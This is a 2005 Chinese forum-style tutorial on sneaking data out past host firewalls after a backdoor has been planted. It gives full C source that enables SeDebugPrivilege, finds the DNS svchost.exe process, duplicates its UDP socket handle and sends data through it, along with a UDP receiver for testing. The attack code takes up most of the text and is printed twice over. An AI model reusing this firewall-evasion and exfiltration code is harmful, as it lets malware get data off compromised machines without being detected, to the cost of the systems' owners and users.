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防火墙是怎样被攻破的?

2005-8-1 01:12 719 0

摘要: 穿透防火墙的数据传输方法 通常,在我们为目标主机安放好了后门需要将数据传输出去时,主机上的防火墙都会让我们遇到一些不大不小的麻烦。如果为我们自己的进程开一个端口(甚至是新建套接字),那么大部分的防...
关键词: nbsp return printf ZWQUERYSYSTEMINF RecvAddr NULL SOCKET ORMATION HANDLE ULONG

穿透防火墙的数据传输方法 通常,在我们为目标主机安放好了后门需要将数据传输出去时,主机上的防火墙都会让我们遇到一些不大不小的麻烦。如果为我们自己的进程开一个端口(甚至是新建套接字),那么大部分的防火墙都会将其拦截。有什么方法能“穿透”这些防火墙呢? 下面我为您介绍一种“洞穿”防火墙小规模传输重要数据的方法。不过,不推荐您在其它情况下使用该方法。 其实我的思路很简单,既然防火墙会拦截未验证进程而放行已验证进程的数据传输,那我们就将其它进程中允许数据传输的套接字句柄拿为已用。具体过程如下: 1、找出目标进程; 2、找出SOCKET句柄; 2、用DuplicateHandle()函数将其SOCKET转换为能被自己使用; 3、用转换后的SOCKET进行数据传输。 上面的过程写的很简单,但是实现起来还存在一些问题(后面再做讨论)。另外,从上面的实现方法中也可以看到一些很难控制的地方,比如在目标进程的SOCKET不能是TCP,只能是UDP,因为TCP的句柄已经跟外面建立了连接。同时,针对不同系统不同进程我们也很难定位一个稳定的进程SOCKET。 看到这么多“麻烦”,你有点泄气了对不对?不要着急,再想一想,其实我们有一条真正通向罗马的“黄金大道”。我们都知道只要一台计算机联上了网络,那么有一种数据传输是肯定不会被拦截的,不错,就是DNS!你能想像域名解析数据都被拦截所造成的后果吗?既然DNS是不会被拦的,而且它又是UDP传输,我们就从它“开刀”。 本文为您提供了一个通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子。 查看详细源代码RIPT>。 源代码部分请看下一页: /*++   Made By ZwelL  [email protected]  2005.4.12--*/ #include <winsock2.h>#include <stdio.h>#include <wtsapi32.h> #pragma comment(lib, "ws2_32")#pragma comment(lib, "wtsapi32") #define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0)#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef LONG    NTSTATUS; typedef struct _SYSTEM_HANDLE_INFORMATION{    ULONG            ProcessId;    UCHAR            ObjectTypeNumber;    UCHAR            Flags;    USHORT            Handle;    PVOID            Object;    ACCESS_MASK        GrantedAccess;} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG); ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; BOOL LocateNtdllEntry ( void ){    BOOL    ret         = FALSE;    char    NTDLL_DLL[] = "ntdll.dll";    HMODULE ntdll_dll   = NULL;     if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )    {        printf( "GetModuleHandle() failed");        return( FALSE );    }    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )    {        goto LocateNtdllEntry_exit;    }    ret = TRUE; LocateNtdllEntry_exit:     if ( FALSE == ret )    {        printf( "GetProcAddress() failed");    }    ntdll_dll = NULL;    return( ret );} /*++This routine is used to get a process's username from it's SID--*/BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName){    // sanity checks and default value    if (pUserSid == NULL)        return false;    strcpy(szUserName, "?");     SID_NAME_USE   snu;    TCHAR          szUser[_MAX_PATH];    DWORD          chUser = _MAX_PATH;    PDWORD         pcchUser = &chUser;     TCHAR          szDomain[_MAX_PATH];    DWORD          chDomain = _MAX_PATH;    PDWORD         pcchDomain = &chDomain;     // Retrieve user name and domain name based on user's SID.    if (        ::LookupAccountSid(        NULL,         pUserSid,         szUser,         pcchUser,         szDomain,         pcchDomain,         &snu        )        )    {        wsprintf(szUserName, "%s", szUser);    }    else    {        return false;    }     return true;}  /*++ This routine is used to get the DNS process's Id  Here, I use WTSEnumerateProcesses to get process user Sid, and then get the process user name. Beacause as it's a "NETWORK SERVICE", we cann't use OpenProcessToken to catch the DNS process's token information,even if we has the privilege in catching the SYSTEM's. --*/DWORD GetDNSProcessId(){    PWTS_PROCESS_INFO pProcessInfo = NULL;    DWORD             ProcessCount = 0;    char              szUserName[255];    DWORD              Id = -1;     if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))    {        // dump each process description        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)        {             if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )            {                GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);                if( strcmp(szUserName, "NETWORK SERVICE") == 0)                {                    Id = pProcessInfo[CurrentProcess].ProcessId;                    break;                }            }        }         WTSFreeMemory(pProcessInfo);    }     return Id;} /*++This doesn't work as we know, sign...but you can use the routine for other useing...--*//*BOOL GetProcessUserFromId(char *szAccountName, DWORD PID){    HANDLE hProcess = NULL,             hAccessToken = NULL;    TCHAR InfoBuffer[1000], szDomainName[200];    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;    DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;    SID_NAME_USE snu;     hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);    if(hProcess == NULL)    {        printf("OpenProcess wrong");        CloseHandle(hProcess);        return false;    }     if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))    {        printf("OpenProcessToken wrong:%08x", GetLastError());        return false;    }     GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,        1000, &dwInfoBufferSize);     LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,        &dwAccountSize,szDomainName, &dwDomainSize, &snu);     if(hProcess)        CloseHandle(hProcess);    if(hAccessToken)        CloseHandle(hAccessToken);    return true;}*/ /*++Now, it is the most important stuff... ^_^--*/SOCKET GetSocketFromId (DWORD PID){    NTSTATUS                     status;    PVOID                        buf   = NULL;    ULONG                        size  = 1;    ULONG                        NumOfHandle = 0;    ULONG                        i;    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;    HANDLE    sock = NULL;    DWORD    n;     buf=malloc(0x1000);    if(buf == NULL)    {        printf("malloc wrong\n");        return NULL;    }    status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );    if(STATUS_INFO_LENGTH_MISMATCH == status)    {        free(buf);        buf=malloc(n);        if(buf == NULL)        {            printf("malloc wrong\n");            return NULL;        }        status = ZwQuerySystemInformation( 0x10, buf, n, NULL);    }    else    {        printf("ZwQuerySystemInformation wrong\n");        return NULL;    }     NumOfHandle = *(ULONG*)buf;     h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);     for(i = 0; i<NumOfHandle ;i++)    {        try        {            if( ( h_info[i].ProcessId == PID )  && ( h_info[i].ObjectTypeNumber == 0x1c )                 && (h_info[i].Handle!=0x2c)    // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()                                            // So I jump over this situation...                                             // May be it's different in your system,                 ) //wind2000 is 0x1a            {                //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);                if( 0 == DuplicateHandle(                    OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),                     (HANDLE)h_info[i].Handle,                     GetCurrentProcess(),                     &sock,                     STANDARD_RIGHTS_REQUIRED,                     true,                     DUPLICATE_SAME_ACCESS)                    )                {                    printf("DuplicateHandle wrong:%8x", GetLastError());                    continue;                }                 //printf("DuplicateHandle ok\n");                sockaddr_in name = {0};                name.sin_family = AF_INET;                int namelen = sizeof(sockaddr_in);                getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );                //printf("PORT=%5d\n",    ntohs( name.sin_port ));                 if(ntohs(name.sin_port)>0)    // if port > 0, then we can use it                    break;            }        }        catch(...)        {            continue;        }    }     if ( buf != NULL )    {        free( buf );    }    return (SOCKET)sock;} /*++This is not required...--*/BOOL EnablePrivilege (PCSTR name){    HANDLE hToken;    BOOL rv;     TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };    LookupPrivilegeValue (        0,        name,        &priv.Privileges[0].Luid        );     priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;     OpenProcessToken(        GetCurrentProcess (),        TOKEN_ADJUST_PRIVILEGES,        &hToken        );     AdjustTokenPrivileges (        hToken,        FALSE,        &priv,        sizeof priv,        0,        0        );     rv = GetLastError () == ERROR_SUCCESS;     CloseHandle (hToken);    return rv;} void main() {    WSADATA wsaData;    char    testbuf[255];    SOCKET    sock;    sockaddr_in RecvAddr;     int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);    if (iResult != NO_ERROR)        printf("Error at WSAStartup()\n");     if(!LocateNtdllEntry())        return;     if(!EnablePrivilege (SE_DEBUG_NAME))    {        printf("EnablePrivilege wrong\n");        return;    }     sock = GetSocketFromId(GetDNSProcessId());    if( sock==NULL)    {        printf("GetSocketFromId wrong\n");        return;    }     //Change there value...    RecvAddr.sin_family = AF_INET;    RecvAddr.sin_port = htons(5555);     RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");     if(SOCKET_ERROR == sendto(sock,             "test",             5,             0,             (SOCKADDR *) &RecvAddr,             sizeof(RecvAddr)))    {        printf("sendto wrong:%d\n", WSAGetLastError());    }    else    {        printf("send ok... Have fun, right? ^_^\n");    }        getchar();     //WSACleanup();    return;}   测试代码部分: /*++UdpReceiver--*/#include <stdio.h>#include "winsock2.h" #pragma comment(lib, "ws2_32") void main() {  WSADATA wsaData;  SOCKET RecvSocket;  sockaddr_in RecvAddr;  int Port = 5555;  char RecvBuf[1024];  int  BufLen = 1024;  sockaddr_in SenderAddr;  int SenderAddrSize = sizeof(SenderAddr);   //-----------------------------------------------  // Initialize Winsock  WSAStartup(MAKEWORD(2,2), &wsaData);   //-----------------------------------------------  // Create a receiver socket to receive datagrams  RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);   //-----------------------------------------------  // Bind the socket to any address and the specified port.  RecvAddr.sin_family = AF_INET;  RecvAddr.sin_port = htons(Port);  RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);   bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));   //-----------------------------------------------  // Call the recvfrom function to receive datagrams  // on the bound socket.  printf("Receiving datagrams...\n");  while(1)  {    recvfrom(RecvSocket,         RecvBuf,         BufLen,         0,         (SOCKADDR *)&SenderAddr,         &SenderAddrSize);    printf("%s\n", RecvBuf);  }   //-----------------------------------------------  // Close the socket when finished receiving datagrams  printf("Finished receiving. Closing socket.\n");  closesocket(RecvSocket);   //-----------------------------------------------  // Clean up and exit.  printf("Exiting.\n");  WSACleanup();  return;}[page] 需要说明的是,在实际编程中出现了很多问题,比如说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE)、在句柄值为0x2c时进行getsockname时会停止运行等等。具体解决方法请您仔细阅读源代码中的注释部分。 最后,我们可以再用测试代码RIPT>看看效果。测试步骤: 源代码部分:/*++   Made By ZwelL  [email protected]  2005.4.12--*/ #include <winsock2.h>#include <stdio.h>#include <wtsapi32.h> #pragma comment(lib, "ws2_32")#pragma comment(lib, "wtsapi32") #define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0)#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef LONG    NTSTATUS; typedef struct _SYSTEM_HANDLE_INFORMATION{    ULONG            ProcessId;    UCHAR            ObjectTypeNumber;    UCHAR            Flags;    USHORT            Handle;    PVOID            Object;    ACCESS_MASK        GrantedAccess;} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG); ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; BOOL LocateNtdllEntry ( void ){    BOOL    ret         = FALSE;    char    NTDLL_DLL[] = "ntdll.dll";    HMODULE ntdll_dll   = NULL;     if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )    {        printf( "GetModuleHandle() failed");        return( FALSE );    }    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )    {        goto LocateNtdllEntry_exit;    }    ret = TRUE; LocateNtdllEntry_exit:     if ( FALSE == ret )    {        printf( "GetProcAddress() failed");    }    ntdll_dll = NULL;    return( ret );} /*++This routine is used to get a process's username from it's SID--*/BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName){    // sanity checks and default value    if (pUserSid == NULL)        return false;    strcpy(szUserName, "?");     SID_NAME_USE   snu;    TCHAR          szUser[_MAX_PATH];    DWORD          chUser = _MAX_PATH;    PDWORD         pcchUser = &chUser;     TCHAR          szDomain[_MAX_PATH];    DWORD          chDomain = _MAX_PATH;    PDWORD         pcchDomain = &chDomain;     // Retrieve user name and domain name based on user's SID.    if (        ::LookupAccountSid(        NULL,         pUserSid,         szUser,         pcchUser,         szDomain,         pcchDomain,         &snu        )        )    {        wsprintf(szUserName, "%s", szUser);    }    else    {        return false;    }     return true;}  /*++ This routine is used to get the DNS process's Id  Here, I use WTSEnumerateProcesses to get process user Sid, and then get the process user name. Beacause as it's a "NETWORK SERVICE", we cann't use OpenProcessToken to catch the DNS process's token information,even if we has the privilege in catching the SYSTEM's. --*/DWORD GetDNSProcessId(){    PWTS_PROCESS_INFO pProcessInfo = NULL;    DWORD             ProcessCount = 0;    char              szUserName[255];    DWORD              Id = -1;     if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))    {        // dump each process description        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)        {             if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )            {                GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);                if( strcmp(szUserName, "NETWORK SERVICE") == 0)                {                    Id = pProcessInfo[CurrentProcess].ProcessId;                    break;                }            }        }         WTSFreeMemory(pProcessInfo);    }     return Id;} /*++This doesn't work as we know, sign...but you can use the routine for other useing...--*//*BOOL GetProcessUserFromId(char *szAccountName, DWORD PID){    HANDLE hProcess = NULL,             hAccessToken = NULL;    TCHAR InfoBuffer[1000], szDomainName[200];    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;    DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;    SID_NAME_USE snu;     hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);    if(hProcess == NULL)    {        printf("OpenProcess wrong");        CloseHandle(hProcess);        return false;    }     if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))    {        printf("OpenProcessToken wrong:%08x", GetLastError());        return false;    }     GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,        1000, &dwInfoBufferSize);     LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,        &dwAccountSize,szDomainName, &dwDomainSize, &snu);     if(hProcess)        CloseHandle(hProcess);    if(hAccessToken)        CloseHandle(hAccessToken);    return true;}*/ /*++Now, it is the most important stuff... ^_^--*/SOCKET GetSocketFromId (DWORD PID){    NTSTATUS                     status;    PVOID                        buf   = NULL;    ULONG                        size  = 1;    ULONG                        NumOfHandle = 0;    ULONG                        i;    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;    HANDLE    sock = NULL;    DWORD    n;     buf=malloc(0x1000);    if(buf == NULL)    {        printf("malloc wrong\n");        return NULL;    }    status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );    if(STATUS_INFO_LENGTH_MISMATCH == status)    {        free(buf);        buf=malloc(n);        if(buf == NULL)        {            printf("malloc wrong\n");            return NULL;        }        status = ZwQuerySystemInformation( 0x10, buf, n, NULL);    }    else    {        printf("ZwQuerySystemInformation wrong\n");        return NULL;    }     NumOfHandle = *(ULONG*)buf;     h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);     for(i = 0; i<NumOfHandle ;i++)    {        try        {            if( ( h_info[i].ProcessId == PID )  && ( h_info[i].ObjectTypeNumber == 0x1c )                 && (h_info[i].Handle!=0x2c)    // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()                                            // So I jump over this situation...                                             // May be it's different in your system,                 ) //wind2000 is 0x1a            {                //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);                if( 0 == DuplicateHandle(                    OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),                     (HANDLE)h_info[i].Handle,                     GetCurrentProcess(),                     &sock,                     STANDARD_RIGHTS_REQUIRED,                     true,                     DUPLICATE_SAME_ACCESS)                    )                {                    printf("DuplicateHandle wrong:%8x", GetLastError());                    continue;                }                 //printf("DuplicateHandle ok\n");                sockaddr_in name = {0};                name.sin_family = AF_INET;                int namelen = sizeof(sockaddr_in);                getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );                //printf("PORT=%5d\n",    ntohs( name.sin_port ));                 if(ntohs(name.sin_port)>0)    // if port > 0, then we can use it                    break;            }        }        catch(...)        {            continue;        }    }     if ( buf != NULL )    {        free( buf );    }    return (SOCKET)sock;} /*++This is not required...--*/BOOL EnablePrivilege (PCSTR name){    HANDLE hToken;    BOOL rv;     TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };    LookupPrivilegeValue (        0,        name,        &priv.Privileges[0].Luid        );     priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;     OpenProcessToken(        GetCurrentProcess (),        TOKEN_ADJUST_PRIVILEGES,        &hToken        );     AdjustTokenPrivileges (        hToken,        FALSE,        &priv,        sizeof priv,        0,        0        );     rv = GetLastError () == ERROR_SUCCESS;     CloseHandle (hToken);    return rv;} void main() {    WSADATA wsaData;    char    testbuf[255];    SOCKET    sock;    sockaddr_in RecvAddr;     int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);    if (iResult != NO_ERROR)        printf("Error at WSAStartup()\n");     if(!LocateNtdllEntry())        return;     if(!EnablePrivilege (SE_DEBUG_NAME))    {        printf("EnablePrivilege wrong\n");        return;    }     sock = GetSocketFromId(GetDNSProcessId());    if( sock==NULL)    {        printf("GetSocketFromId wrong\n");        return;    }     //Change there value...    RecvAddr.sin_family = AF_INET;    RecvAddr.sin_port = htons(5555);     RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");     if(SOCKET_ERROR == sendto(sock,             "test",             5,             0,             (SOCKADDR *) &RecvAddr,             sizeof(RecvAddr)))    {        printf("sendto wrong:%d\n", WSAGetLastError());    }    else    {        printf("send ok... Have fun, right? ^_^\n");    }        getchar();     //WSACleanup();    return;}   测试代码部分: /*++UdpReceiver--*/#include <stdio.h>#include "winsock2.h" #pragma comment(lib, "ws2_32") void main() {  WSADATA wsaData;  SOCKET RecvSocket;  sockaddr_in RecvAddr;  int Port = 5555;  char RecvBuf[1024];  int  BufLen = 1024;  sockaddr_in SenderAddr;  int SenderAddrSize = sizeof(SenderAddr);   //-----------------------------------------------  // Initialize Winsock  WSAStartup(MAKEWORD(2,2), &wsaData);   //-----------------------------------------------  // Create a receiver socket to receive datagrams  RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);   //-----------------------------------------------  // Bind the socket to any address and the specified port.  RecvAddr.sin_family = AF_INET;  RecvAddr.sin_port = htons(Port);  RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);   bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));   //-----------------------------------------------  // Call the recvfrom function to receive datagrams  // on the bound socket.  printf("Receiving datagrams...\n");  while(1)  {    recvfrom(RecvSocket,         RecvBuf,         BufLen,         0,         (SOCKADDR *)&SenderAddr,         &SenderAddrSize);    printf("%s\n", RecvBuf);  }   //-----------------------------------------------  // Close the socket when finished receiving datagrams  printf("Finished receiving. Closing socket.\n");  closesocket(RecvSocket);   //-----------------------------------------------  // Clean up and exit.  printf("Exiting.\n");  WSACleanup();  return;}1、在一台机器上执行UdpReceiver; 2、在安装防火墙的机器上执行第一个程序。 RIPT>小结:RIPT>在本例的源代码中,因为要在多个svchost.exe进程中找出DNS进程句柄,所以通过用户名进行判断。其实本来是计划采用OpenProcessToken的,但在编程中发现始终不能实现,只好换了方法。例子中还用到了wtsapi32库函数。
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